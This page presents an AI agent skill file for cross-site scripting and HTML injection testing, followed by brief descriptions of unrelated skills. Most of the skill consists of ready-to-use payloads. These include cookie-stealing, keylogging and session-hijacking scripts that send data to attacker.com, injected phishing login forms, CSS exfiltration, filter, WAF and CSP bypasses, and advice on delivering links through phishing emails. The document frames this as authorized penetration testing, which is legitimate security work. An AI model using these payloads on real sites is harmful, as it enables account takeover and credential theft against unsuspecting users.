Cross-Site Scripting and HTML Injection Testing
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
- License 许可
- MIT
- 最近更新
- 2026-11-12
- Stars
- ★ 3.3w
- Forks
- 3.9k
01 前言 Front Matter
- name
- Cross-Site Scripting and HTML Injection Testing
- metadata
- { "author": "zebbern", "version": "1.1" }
- description
- This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
03 SKILL.md 正文
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
Reflected XSS Indicators:
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
DOM-Based XSS Indicators:
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Craft Persistent Payloads
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Identify Sources
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS Payloads
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Phase 5: HTML Injection Techniques
Reflected HTML Injection
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Stored HTML Injection
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
Encoding Bypass
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
JavaScript Obfuscation
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
Whitespace and Comment Bypass
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
Quick Reference
XSS Detection Checklist
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
Common XSS Payloads
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
Cookie Theft Payload
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
Session Hijacking Template
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Example 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
Troubleshooting
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
04 同仓库更多 Skills
wealthville-pool-scoring
Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter/Hold/Exit/Reduce/Avoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.
technical-debt-auditor
Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO/FIXME/HACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like "where should I focus refactoring", "find code smells", "audit my codebase", "what technical debt do we have", "prioritize cleanup work", or asks about code quality metrics. Also trigger when the user mentions "code rot", "legacy cleanup", "refactoring priorities", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say "technical debt" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.
readonly-sql-guard
Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production/ERP/analytics database (a "query" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write/DDL/side-effect/transaction-escape risks. Checks what a statement CALLS, not just its shape.
web-artifacts-builder
Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts.
webapp-testing
Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.
discernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.